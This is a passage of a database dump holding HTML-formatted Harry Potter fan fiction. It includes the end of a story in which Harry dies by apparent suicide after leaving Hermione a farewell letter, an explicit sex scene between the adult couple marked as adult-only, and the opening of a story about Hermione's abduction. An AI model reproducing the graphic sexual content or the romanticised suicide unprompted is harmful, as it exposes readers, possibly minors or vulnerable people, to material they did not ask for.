class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *1: Do\nnot turn on Ron.&nbsp; You will need him as\nmuch as he needs you &#8211; but neither of you will admit it.&nbsp; Stay together, and help each other.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *2: Do\nNOT, under any circumstances follow my footsteps.&nbsp; There are people who need you.&nbsp;\nStay with them.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *3: My\nlast request will be the hardest to follow.&nbsp;\nI want you and the rest of the world to forget me.&nbsp; I have not done anything worth remembering.&nbsp; If you must keep a memory, remember my\nparents, remember Cedric Diggory, Remember Neville and his parents.&nbsp; But forget I ever lived, because I only ever\nexisted.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I love\nyou, My Hermione.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We found him\nat the foot of the astronomy tower.&nbsp; On\nhis face was the only peaceful expression I have ever seen there.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; In a\nhorrifying moment, I knew what he had done, and I wanted to follow more than\nanything else.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But I had\npromised that I wouldn&#8217;t.&nbsp; His funeral\nwas open only to the Hogwarts professors, our closest friends, and the\nWeasleys.&nbsp; The minister was not allowed\non the grounds that day.&nbsp; <i>He</i> had\nhated Fudge.&nbsp; For fifty years I have\nkept my last promises to him, except for the last.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I love you,\nHarry, and I&#8217;ll never forget you.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">The End</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">The poem is from\nShakespeare&#8217;s &#8220;Love&#8217;s Labor Lost&#8221;, the idea of the letter is from Edmond\nRostand&#8217;s &#8220;Cyrano de Bercerac&#8221;, and the last promise is an idea from Thomas\nHardy&#8217;s <i>Mayor of Casterbridge</i>.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Harry Potter and Co.\nBelong to JK Rowling, and various other corporations.&nbsp; No trademark infringement is intended, and no money is being\nmade.</p>\n\n\n\n\n\n\n'),
	(218, 1, '<div class="center"> After The Music- By Songbird21</div> <p> WARNING- This is a LEMON MERINGUE (Sex with fluff)! If you are under the legal age in your country DO NOT read this. Thoughts are in <i>Italics</i> </p><p> </p><div class="center">============================================================</div> <p></p><p> </p><dd> Harry and Hermione, newly engaged, sat in front of the fire in Harry\'s living room. She was in front of him. His arms held her tight. This was the first time he had brought her to his private quarters since he became Headmaster. It was fairly large. A little larger than the Gryffindor common room. A small kitchen was to the left of the door. His bed was to the right, and was able to be separated from the rest of the room by drapes. The drapes were drawn back at the moment. There were lots of photos of family and friends. She noticed, however, that the only picture by his bed was a portrait of her. She smiled widely at seeing this. She knew that Harry tended to hang pictures in order of importance and the one closest to his bed was the one he wanted to see when he woke up every morning. <p> </p></dd><dd> Hermione looked around the rest of the walls. She smiled when she saw his Quidditch posters. She felt a little sad too. Harry had given up his dreams of being a professional Quidditch player to take his new position. She was still amazed that the Ministry had asked Harry to be Headmaster. He was only twenty-one. Although considering how he had single-handedly saved Hogwarts from total destruction she could see their reasoning. <p> </p></dd><dd> Hermione couldn\'t understand what had possessed Harry to accept. All the way up to graduation day Harry hadn\'t talked about much else besides which Quidditch teams he wanted to play for. Suddenly she had to know. "Harry?" <p> </p></dd><dd> Harry sighed in contentment. "Hmmm?" he snuggled in closer to his fiancée. <p> </p></dd><dd> "Why did you take this job?" she asked. <p> </p></dd><dd> Harry was quiet for a moment. "What can I say? I love this place." <p> </p></dd><dd> "But you were so excited about playing professional Quidditch." <p> </p></dd><dd> Harry half-laughed. "It\'s funny. Right up till the Ministry asked me to do this, that was what I wanted to do," he squeezed Hermione again, "But I figured it\'s only two terms, why not? I have plenty of time to play Quidditch." <p> </p></dd><dd> Hermione giggled and turned to look into the eyes of her love. "You\'re sweet. You know that?" <p> </p></dd><dd> Harry cocked his head to one side. "How so?" <p> </p></dd><dd> "I just think it\'s lovely that you chose to work at a place from your childhood instead of heading off for fame and fortune," she smiled. <p> </p></dd><dd> Harry stroked the side of her face with his index finger. "I think you\'re lovely," he crooned. With that he lightly brushed his lips against hers. <p> </p></dd><dd> Hermione tried to get him took kiss her fully but he kept playfully avoiding her attempts. "You, dear sir, are a tease," she complained. <p> </p></dd><dd> Harry leaned over and gently sucked on her earlobe. Hermione moaned softly. "Am I now?" <p> </p></dd><dd> Hermione pouted. "Yes. You are." <p> </p></dd><dd> "You know it\'s not fair when you pout like that," he said with mock annoyance. <p> </p></dd><dd> "Be quiet and kiss me would you?" Hermione said, putting a finger to his lips. <p> </p></dd><dd> Harry happily complied as he kissed her passionately. He loved her lips. They always tasted so good. He pushed his tongue inside her mouth. He was pleased when she caressed his tongue with hers. He loved the sensations this brought. <p> </p></dd><dd> Hermione slid her hands under Harry\'s shirt. After moving her hands over his chest for a moment, she broke the kiss and pushed Harry down onto his back. <p> </p></dd><dd> Harry smiled. He loved it when she took control. It had taken her a while to start doing it. She had been very unsure of herself the first time they had touched each other. Although, to tell the truth, so had he. <p> </p></dd><dd> Hermione unbuttoned his shirt revealing his bare chest to her eyes. She sighed inwardly. He had such an amazing body. She sat down next to him and began gently twisting his nipples between her fingertips. He moaned happily. She was amazed more women didn\'t do this. Mens nipples were just as sensitive as a woman\'s. At his moan she licked her fingers seductively and then went back to her previous activity. Harry groaned again. <p> </p></dd><dd> Harry was just settling in to enjoy the sensations his fiancée was creating when she leaned down and took his right nipple into her hot mouth. He sucked in a breath as she licked his nipple fiercely. Each flick of her tongue sent spasms of pleasure all through his body. He was thinking it couldn\'t get any better, then Hermione did something totally new. She stopped licking and started lightly nipping him with her teeth. "Oh Hermione. That is soooo good," he moaned. <p> </p></dd><dd> "Glad you like," she said happily. <p> </p></dd><dd> "Please do that some more," Harry pleaded. Hermione happily obliged and pushed her tongue down on his nipple as hard as she could as she licked it. "Mione!" Harry yelled. "God, I love it when you suck on my nipples," he purred. Hermione grinned and continued her work. <p> </p></dd><dd> Finally Harry couldn\'t take it anymore. He needed to do something to her. He reached up and cupped one of her breasts. Hermione moaned. As he began to kneed it, she forgot about what she was doing and simply melted into his touch. "Hang on a moment," she said. She sat up and took off her shirt. She began to take off her bra but Harry shook his head. <p> </p></dd><dd> "Please," Harry said as he kneeled down behind her, "Allow me," he expertly undid her bra and tossed it aside. He then got a wolfish expression and picked her up, slinging her over his shoulder. <p> </p></dd><dd> "Haaaarrrryyy," Hermione complained. <p> </p></dd><dd> Harry set Hermione down on the bed. "Prat," she said giggling. <p> </p></dd><dd> Harry undid the zipper on his jeans and slid them off. Hermione did the same. He crawled onto the bed and laid down next to her. He propped himself up on one elbow and drew a finger across the underside of one of her breasts. She sighed. "You know I love this line? I don\'t know what it is, but this line right here is what I\'ve always found sexiest about your breasts," he said as his finger moved. Hermione smiled. <p> </p></dd><dd> Harry replaced his finger with his lips as he trailed kisses down the line he loved. Hermione just lay there with her eyes closed, enjoying everything he did. He made sure to circle each breast before kissing higher. Finally he found her right nipple and took it into his mouth. She arched her back a bit as the pleasure washed over her. He skillfully moved his tongue over her nipple again and again. He changed tactics and began sucking hungrily. <p> </p></dd><dd> "Mmmmmm," Hermione moaned. Harry decided to try what Hermione had done to him earlier. As soon as his teeth started working Hermione gasped. "Oh my God.....I can see why you," gasp, "liked that so much." Then Harry did something totally unexpected. He took a breast in each hand and pushed them close together so that the nipples were right next to each other. Hermione was confused. "Harry what are you......?" she didn\'t get to finish her question as he put his mouth down over her nipples and began sucking on them both at the same time. "Ahhhh! Harry!" she yelled, her voice coming in gasps. She was breathing very heavily now. <p> </p></dd><dd> Harry sucked and licked Hermione\'s breasts. He loved doing things like this to her. He loved making her feel good. He decided though, that it was time to move on. He moved his mouth back to hers and began to kiss her again. She broke the kiss after only a moment and moved her mouth to his earlobe. "Oh, Mione. Oh, that\'s so nice," he crooned. He wanted more. <p> </p></dd><dd> As Hermione sucked tenderly at his earlobe he moved his hands to the elastic of her panties. "May I?" he asked. <p> </p></dd><dd> "You may," Hermione replied, smiling. <p> </p></dd><dd> Harry removed the panties in one swift motion. He went back to kissing her. As he did this his hand moved down over her firm belly to her mound. He deliberately moved slowly. This was only the third time she\'d allowed him to go this far. Mostly it was because they had been afraid of loosing control since both of them wanted to wait to make love until they were engaged. Harry sucked in a breath. They were engaged now. Maybe tonight she\'d let him.......but first things first. <p> </p></dd><dd> Harry pushed his index finger between the folds of her sex and began moving it back and forth over her button. "Ah. Ah. Oh yes. I love it when you touch me," she swooned. Harry took what she said as incentive to move faster. His finger rubbed up and down just at the top of her clit. She moaned in ecstasy and pushed her sex upwards for more. He responded by moving his finger right onto the tip. To this she screamed in delight. She then straightened her legs in anticipation of the oncoming orgasm. "Oh yeah Harry." <p> </p></dd><dd> "Yeah," he said huskily. <p> </p></dd><dd> "Oh yes," ::gasp::, "Oh yes. Oh yes. Yes. Yes. Yessssssssssss! Ah. Oh. Oh God. Ah. Ahhhhhhhhhhhhhhhhhhhhh!" she screamed as she came. "I love you," she panted. <p> </p></dd><dd> "I love you too," he said, and lovingly kissed her forehead. He gave her a moment to rest before asking her something. "Hermione?" he breathed. <p> </p></dd><dd> "Yeah?" she replied through her heavy breathing. <p> </p></dd><dd> "May I put my fingers inside you?" he said as he gulped hard. <p> </p></dd><dd> Hermione seemed to consider this for a moment. "Yes." <p> </p></dd><dd> "Are you sure?" <p> </p></dd><dd> "Yes, Harry. I want you to," she replied. <p> </p></dd><dd> He moved his hand back to her mound and parted her sex again. He moved a finger to the edge of her hole. He paused. <p> </p></dd><dd> Hermione looked annoyed. "Why did you stop?" she demanded. <p> </p></dd><dd> "I just wanted to make sure." <p> </p></dd><dd> "Will you just do it already? I feel like I\'ll burn alive if you don\'t," she said, her voice somewhat shaky. <p> </p></dd><dd> Newly encouraged Harry slowly began to slide his finger inside Hermione\'s aching center. She gasped and bucked her hips upward not wanting to wait for him to find the courage to go all the way in. All his worries slipped away and he pushed down as far as he could go and began exploring all her inner curves. <p> </p></dd><dd> Hermione gasped and moaned heavily at all the new sensations coursing through her. "Oooooooh Yeah. Oh Harry. I should\'ve let you do this a long time ago," her last word ended in a gasp as he began pumping his finger in and out of her hole. He picked up the pace and Hermione\'s hips began to move in rhythm to his finger. He stopped for a moment, earning a moan of complaint from his beloved, before sliding in a second finger. "Ahhhhhhh," she groaned. He pumped even harder. She thought she was going to explode. "Oh Harry. Your fingers feel so good. Please don\'t stop," she pleaded. He moved faster and faster until the room erupted with her screams as she came. The two young lovers collapsed onto the bed. Hermione didn\'t want to stop. They\'d never had a night filled with so many new pleasures. She wanted to touch him. She turned over and stroked his length with an elegant finger. <p> </p></dd><dd> Harry shuddered in pleasure. Where did that come from? She\'d never touched him before. "Hermione?" <p> </p></dd><dd> "It\'s okay Harry," she reassured him. She pulled off his underwear and just stared for a moment at his very erect member. It wasn\'t as big as she\'d read in books. Maybe about six inches long and two inches around. She was glad. When the time came to make love she knew she could easily take him all in. She took a deep breath and ran a finger slowly up and down his shaft. <p> </p></dd><dd> "Mione," Harry moaned. He wanted to ask her grab him completely and pump but he didn\'t want to push his luck. <p> </p></dd><dd> Hermione liked getting this kind of reaction from her love. She wet her finger and touched him again. He hissed in response. She smiled and decided if she was going to do this she should do it completely. She encircled his length with her hand and tentatively began to pump. <p> </p></dd><dd> Harry couldn\'t believe what was happening. He was amazed she was so confident. He never knew it could feel so different from when he masturbated. "Mione," gasp,"Your hand. It\'s....it\'s unbelievable. Please go faster," he nearly begged. <p> </p></dd><dd> Hermione responded by moving her hand as fast as she could. Harry\'s hips bucked in response. Hermione stopped, looking like she was deciding something. "I\'m okay," she reassured him as she bent down and licked the tip of his head. <p> </p></dd><dd> The world exploded behind Harry\'s eyes. So many new things so fast. He groaned loudly at each flick of her tongue. <p> </p></dd><dd> Hermione suddenly took his length into her hot mouth and began to move her head. <p> </p></dd><dd>Harry thought he was going to die from the pleasure. "Oh yes, Mione!!" <p> </p></dd><dd>Hermione realized that if she kept going Harry might come in her mouth. She didn\'t like that idea, so she went back to pumping him. <p> </p></dd><dd>Harry\'s organ began to pulse underneath her hand as his moaning became more intense. "Oh God! Yes Hermione!" <p> </p></dd><dd>Hermione moved her hand faster. Harry yelled loudly as he came. His juices spilled out over his stomach. <p> </p></dd><dd> Harry lay there. Gasping. He looked at her face. "Thank you," he breathed. <p> </p></dd><dd> Hermione smiled widely. "You\'re welcome. I\'m glad I could finally return the favor," she said as she kissed him. <p> </p></dd><dd> "May I ask why you went so far tonight?" <p> </p></dd><dd> "Hmmm. I don\'t know. Maybe I feel less tentative because we\'re engaged," she smiled. <p> </p></dd><dd> "Hermione?" Harry said as he held her hands, "Would you make love to me?" he asked, his eyes hopeful. <p> </p></dd><dd> Hermione smiled. "Yes." <p> </p></dd><dd> Harry was instantly in shock. "Really?" <p> </p></dd><dd> "Yes," she giggled, "Like I said before Harry, we\'re engaged. Now that I know you want to be with me forever.....I\'m ready." <p> </p></dd><dd> "We\'ll have to wait a while though. It\'ll be about eight minutes before I can get hard again," he said with a small amount of regret in his voice. <p> </p></dd><dd> "That long? Hmmm. Actually that makes sense now that I think about it. Erections take a lot of blood to maintain." <p> </p></dd><dd> "Love, could you please not explain the science behind my erections?" he said with mild embarrassment. <p> </p></dd><dd> Hermione snickered. "Sorry," she replied and laughed again. <p> </p></dd><dd> Around seven minutes later Hermione decided she couldn\'t wait anymore and lightly touched his member. She was pleased when it twitched a little under her attentions. Harry laid back as closed his eyes in pleasure as she closed her hand around him and began moving it. It wasn\'t long before he was standing at attention once again. Harry reached up and pulled her hand away. "Don\'t do that too much." <p> </p></dd><dd> "Oh. Right," she said with a little bit of embarrassment at her absent mindedness. <p> </p></dd><dd> Harry sat up a bit and looked into Hermione\'s eyes. "Are you completely sure about this?" <p> </p></dd><dd> "Will you relax?" Hermione said as she laid down on her back. "I want this." <p> </p></dd><dd> Harry nodded as if finally satisfied with her answer. He began to kiss her gently, with all the love in his heart. They had been through so much together. He was glad they would be each other\'s firsts. Ron had always poked fun at him for being a virgin at twenty one but he didn\'t care. He took a moment and let his eyes wander over Hermione\'s body. The flickering of the fire accentuated every amazing curve. <i>So Beautiful</i> he thought. "I love you with all my heart, Mione." <p> </p></dd><dd> Hermione opened her eyes. She had expected him to start right away. "What brought that on?" she asked with a happy smile. <p> </p></dd><dd> "Nothing really. I just love you. I\'m so glad I have you forever," he said, his eyes misting over with happiness. <p> </p></dd><dd> "I love you too, sweetheart," Hermione replied, mirroring his happy tears. "Please be with me now." <p> </p></dd><dd> "I am always with you, and I always will be," he said as he laid down on top of her. He began to move as though he were inside her to get her used to the idea a little. <p> </p></dd><dd> Hermione made a tiny gasp. Just the feel of his erection touching her mound was an amazing new sensation. It felt wonderful. <p> </p></dd><dd> Harry took a deep breath and moved the tip of his shaft to her opening. He rubbed it back and forth a little and realized she\'d gone a bit dry while they had waited for his body recuperate. "Hang on. I need to get you wet again first." <p> </p></dd><dd> "By all means," she smiled. <p> </p></dd><dd> Harry decided the best way to go about this was to try yet another new tactic he\'d only dreamed about using before. He started kissing her stomach and slowly moved downward. He wanted to know what she tasted like. When his lips contacted her bikini line she sucked in a breath. He kissed her again, just a bit lower. He didn\'t get any protests from her so he continued. He placed kisses all around her mound. Her breathing began to get heavy again. <p> </p></dd><dd> Hermione\'s head was spinning. Was he going to do what she thought he was going to do? All her thoughts were whisked away as his lips touched her mound. "Please continue," she asked. <p> </p></dd><dd> Harry wasted no words. Starting at the base of Hermione\'s sex he made one long stroke with his tongue. She hissed in pleasure. He smiled and pushed aside her folds with his thumb and forefinger. He looked for the nub he\'d felt those few times before and began licking it. She breathed in hard. He licked harder. He sucked it into his mouth and then just released, letting it snap back into place on it\'s own. "Oh my God. Harry that\'s too much. It almost hurts," she said. <p> </p></dd><dd> Harry frowned. Oh well, it was all a learning process. He decided he wanted a preview of want it would be like to be inside her. He licked slowly around the edge of her hole. "Oh. Oh. Oh," Hermione squeaked. Harry suddenly thrust his tongue deep into her hole. "Oh HaaaRRY!" Harry\'s mind turned to mush. He pushed his tongue in as hard as he could, licking every inner crevice he could find. In and out. In and out. Hermione\'s pleasure sounds as she came echoed in his mind. Finally he picked up his head and repositioned himself over her again. He muttered an anti-fertility charm. <p> </p></dd><dd> He moved his erection around the edge of her opening to get some of her natural lubricant onto himself. He pushed in just the tiniest bit. "Just let me know if this hurts at all and I\'ll go slower," he said. Hermione nodded. Harry began to lower himself into her. "Oh," he gasped. He never knew. He had heard about how women felt inside (Mostly from Fred and George) but he\'d never dreamed it was this wonderful. It was like being held from all sides. The wetness and the warmth! He went down a little further. A little further. He was confused. Where was this barrier he\'d heard so much about? <p> </p></dd><dd> Hermione was in ecstasy. Harry was going inside her. Inside! It was such an amazing concept to her. So different, yet it couldn\'t have felt more right. And where was this pain she was supposed to be in? Maybe she\'d broken her barrier during her morning stretches. She didn\'t know. <p> </p></dd><dd> About halfway inside his beloved\'s body he decided he couldn\'t go slow like this anymore. He took a breath and pushed himself all the way in. He gasped and shuddered at the fantastic amount of pleasure this brought. "Oh wow. Mione, you\'re so warm." <p> </p></dd><dd> "Oooooooooooo," Hermione said, making a little gasp. It was just then that Harry started moving. "Uhn uhn uhn," she felt rolling waves of pleasure at every slow thrust. <p> </p></dd><dd> Harry couldn\'t believe the way doing this to Hermione felt. He felt every curve, every stimulating bump and valley. She was so wet! He began to move faster. Her moaning increased. Finally he rammed himself so far into her he felt her very core. "OH!" she yelled. Harry loved the feel of her slick insides as he pumped his erection in and out of her hole. It drove him wild. Her screams were now loudly bouncing off the walls of the room. In the back of his fevered mind he was glad he\'d put a silence charm on the room before they came in. <p> </p></dd><dd> "Oh Harry. Oh Harry," she chanted. She began to move her hips in time to his. <p> </p></dd><dd> "Hermione." In out. In out. "Oh Mione. Oh yes you feel so good!!" <p> </p></dd><dd> Harry moved as hard as he could. He knew he wasn\'t going to last much longer. He felt like he was going to pass out from the pleasure. He screamed as his seed spilled into her. "Ah ah AHHHHHHHHHHHHHHHH!" He collapsed on top of Hermione and continued to breath heavily. <p> </p></dd><dd> Hermione kissed the top of Harry\'s head. "Oh my God Harry," she said in between breaths. "That was beyond incredible." <p> </p></dd><dd> Harry just nodded since he was so tired. He suddenly got a downcast look on his face. "I just realized. You didn\'t come." <p> </p></dd><dd> Hermione smiled. "Don\'t worry about it. Not many women have the ability to orgasm during sex." <p> </p></dd><dd> "Oh." Harry smiled. "Okay. I feel better now." <p> </p></dd><dd> "Good," she replied. <p> </p></dd><dd> The couple lay there, enjoying the feel of their naked bodies pressed against one another. "No magic can compare to this," Harry commented and hugged Hermione tightly. <p> </p></dd><dd> Hermione sigh happily. "You said it." <p> </p><div class="center">=================================================</div> <p></p><p> Well there ya go. Hope I did a good job. :) '),
	(218, 2, ' <center> After The Music- By Songbird21</center>\n\n<p>\n\n</p><dd>Just letting everyone know that I finally fixed this (Didn\'t know it was broken) and the story is now complete. Enjoy. ^_^\\/ '),
	(220, 1, '\n<p><b><u>Hush </u></b>by <b>msscribe </b>&nbsp;</p>\n<p><b>Summary:</b>&nbsp; \n  Hermione Granger has been missing from Hogwarts school of Witchcraft and Wizardry \n  for almost four months.&nbsp; Everyone thinks she&#8217;s most likely dead.&nbsp;&nbsp; Everyone \n  except Harry, who&#8217;s beginning to hear things&#8230;</p>\n<p>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers.</p>\n<p align="center">~~~~~~~~</p>\n<p class="MsoBodyText" align="center"><b>Prologue</b></p>\n<p class="MsoBodyText" align="center">&nbsp;</p>\n<p class="MsoBodyText"><i>She is the one in the picture. The one with the long curly \n  brown hair and the wise eyes. The newspaper calls her brave and smart. She, \n  and two others are hailed as having stopped four Death Eater attacks. He has \n  been watching her in secret for weeks, planning this night. </i></p>\n<p class="MsoBodyText"><i>He leans over her bed, letting her sleep for a while before \n  he opens his mouth and begins to pull the air from her lungs. Her eyes spring \n  open, and a look of pure horror washes over her as she clings to the mattress, \n  struggling to breathe. He loves to watch them at this moment. Usually he would \n  kill a human shortly afterwards, but his goal is different this time.</i></p>\n<p class="MsoBodyText"><i>He picks her up effortlessly over his shoulder, climbing \n  quietly out of her window. He can feel her body convulsing with terror, but \n  her screams are silent...</i></p>\n<p class="MsoBodyText">&nbsp;</p>\n<p class="MsoBodyText" align="center">~~~~~~~~ </p>\n\n\n'),
	(220, 2, '\n<p><b><u>Hush </u></b>by <b>msscribe </b>&nbsp;</p>\n<p><b>Summary:</b>&nbsp; \n  Hermione Granger has been missing from Hogwarts school of Witchcraft and Wizardry \n  for almost four months.&nbsp; Everyone thinks she&#8217;s most likely dead.&nbsp;&nbsp; Everyone \n  except Harry, who&#8217;s beginning to hear things&#8230;</p>\n<p>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers.</p>\n<p><b><i>AN:</i>&nbsp; Here is to writing because you love it - and \n  to Babygrrl, for biting the heads off of caramel bunnies.</b></p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p><b><u>Chapter 1</u></b> &#8211; <b>Dead Air</b></p>\n<p>The morning begins with a whispered complaint from the dresser, as the floor \n  shakes violently from the master slamming the front door.&nbsp; Hermione never sees \n  him off, and she hopes he never insists upon it.&nbsp; She sits up in the bed, and \n  the covers pull themselves down.&nbsp; The room he has her stay in is small and dark.&nbsp; \n  She is alone in the house now, and the next five hours or so are the only one&#8217;s \n  she finds tolerable.&nbsp; She pulls on her robe, trying not to listen to it whine \n  about being hung up properly, and walks down the staircase towards the kitchen.&nbsp; \n  The hallway is filled with things. Some look like they are very valuable, others \n  do not.&nbsp; There are so many things in tiny glass boxes, or displayed on empty \n  bookshelves, that she still hasn&#8217;t seen all of them.&nbsp; In a few glass displays, \n  he has tiny creatures equipped with artificial environments.&nbsp; The fairy in the \n  box at the bottom of the stairs is still asleep, and curses when Hermione accidentally \n  bumps into it\'s home.</p>\n<p><i>She is underfed</i>- table says as Hermione opens the kitchen door &#8211; <i>too \n  skinny to be fully grown</i>-</p>\n<p><i>If only she&#8217;d use me more</i> &#8211; iron skillet retorts &#8211; <i>it isn&#8217;t my fault; \n  it&#8217;s her lack of appetite</i> - </p>\n<p class="MsoBodyTextIndent">&#8216;I&#8217;ll be seventeen in a few weeks,&#8217; Hermione replies \n  without making a sound, although she doubts she looks it now.</p>\n<p class="MsoBodyTextIndent">Everything speaks.&nbsp; Everything but her.&nbsp; But at least \n  <i>they</i> can hear her.</p>\n<p><i>Please use me today</i> &#8211;teapot begs&#8211; <i>I&#8217;m in desperate need of being \n  useful-</i> </p>\n<p>She promises it that she will, even though she&#8217;s tired of tea.&nbsp;&nbsp; The kitchen \n  is cold, so she asks the fireplace to light.&nbsp; A tiny flicker begins to spark \n  from the black soot, and soon grows into a weak flame.&nbsp; She detests that it \n  is always so cold in there.</p>\n<p><i>I&#8217;ll try to get things going fast</i>- fireplace says, hearing her thoughts.</p>\n<p>She neglects to block her mind from them sometimes; it&#8217;s very easy to forget \n  that they are always listening.&nbsp; She doesn&#8217;t mind being alone with them because \n  they are usually helpful and kind. They all pity her, but they are either afraid \n  of, or fiercly loyal to, their master.&nbsp; </p>\n<p>When she first began to hear them, she had tried to get them to help her.&nbsp; \n  They wanted to.&nbsp; Doors sobbed because they were too afraid to unlock for her.&nbsp; \n  Windows slammed shut whenever she got too near. They were terrified of their \n  master&#8217;s temper.&nbsp; She used to arrogantly pity them, but now she had become one \n  of them.&nbsp; Just another object in a madman&#8217;s collection.&nbsp; A madman who had taken \n  her in the middle of the night while her roommate had slept peacefully only \n  a few feet away.</p>\n<p><i>He rules the thicket!&nbsp; He rules all things that grow here!&nbsp; You are disobedient, \n  and master was justified in taking away your speech! - </i>the trees outside \n  of her window had told her, after she had begged them to send down a message \n  through their leaves that she was being held against her will.&nbsp; They were angry \n  with her, calling her a traitor to the forest for disobeying their king.&nbsp; </p>\n<p>&#8216;What day is it?&#8217; she asks the clock.</p>\n<i>Tuesday, the twenty first of May &#8211; </i> \n<p>It has been one hundred and three days since she has seen Harry or Ron.&nbsp; One \n  hundred and three days since she has heard the sound of her own voice.&nbsp; She \n  turns on the stove, and the skillet rattles around happily when the icebox door \n  creaks open.</p>\n<p><i>Breakfast will be lovely, you&#8217;ll see &#8211; </i>skillet says.</p>\n<p>&#8216;I&#8217;m sure it will, thank you.&#8217;</p>\n<p>She sits down at the table.&nbsp; The chair pushes itself in.&nbsp; The lights in every \n  room begin to flicker on one by one, and the house comes alive.</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p>&#8220; I&#8217;m sorry to have to inform you that the Grangers are coming today to collect \n  Hermione&#8217;s belongings.&nbsp; We can&#8217;t keep her room, as it is now, over the summer \n  holiday.&nbsp; Both of you know she wouldn&#8217;t have wanted that,&#8221; Professor Dumbledore \n  says soberly.</p>\n<p>Harry Potter and Ronald Weasley slump down in their chairs.&nbsp; This wasn&#8217;t unexpected.&nbsp; \n  In fact, they were glad Dumbledore had waited until the last day of class.&nbsp; \n  Ron shifts uncomfortably and looks toward Harry, who&#8217;s toying with a piece of \n  string hanging from the sweater Molly Weasley had sewn him last Christmas.&nbsp; \n</p>\n<p>&#8220;Would you both be kind enough to meet them when they arrive, and help them \n  pack up Hermione\'s belongings?&#8221;</p>\n<p>Harry nods his response.</p>\n<p>&#8220;Sure, we\'d be happy to,&#8221; Ron says for both of them.</p>\n<p>&#8220;That&#8217;s very kind indeed.&nbsp;I am terribly sorry.&nbsp; I know how much Miss. Granger \n  meant to both of you.&nbsp; I pray that she will be found unharmed. That is all any \n  of us can hope for.&#8221;&nbsp; </p>\n<p>The wind blows hard against the stained glass window to Dumbledore&#8217;s right.&nbsp; \n  The sorting hat snores up on the third shelf, on vacation until the start of \n  the next school year, and Dumbledore&#8217;s beard is at least a foot longer then \n  when all three of them started school six years ago.&nbsp; Harry can\'t believe Hermione \n  isn&#8217;t sitting beside them.&nbsp; </p>\n<p>The day they found out she was missing was like any other day.&nbsp; They had waited \n  for almost an hour in the common room before Pavarti had come down and told \n  them that Hermione wasn&#8217;t in their room.&nbsp; They were a little angry with her \n  for standing them up, but he and Ron went to breakfast anyway.&nbsp; When she wasn&#8217;t \n  there, they had gone to the library to look for her.&nbsp; There were still no signs \n  of Hermione.&nbsp; She had simply vanished into thin air.&nbsp; They had met with the \n  Ministry almost weekly since, with no leads.&nbsp; </p>\n<p>Rumors spread like wildfire.&nbsp; There were tales of her running away to live \n  as a Muggle, and even one saying that she was secretly tied to Voldemort.&nbsp; Harry \n  and Ron had been in quite a few fights on behalf of their best friend these \n  last few months, but none of that mattered much because after many sleepless \n  nights and frustrating days, they were still left without her.</p>\n<p>&#8220;If either of you need someone to talk to, I will always make myself available \n  to you.&#8221;</p>\n<p>Harry says nothing.&nbsp; But thinks quite a few things.</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p>They make their 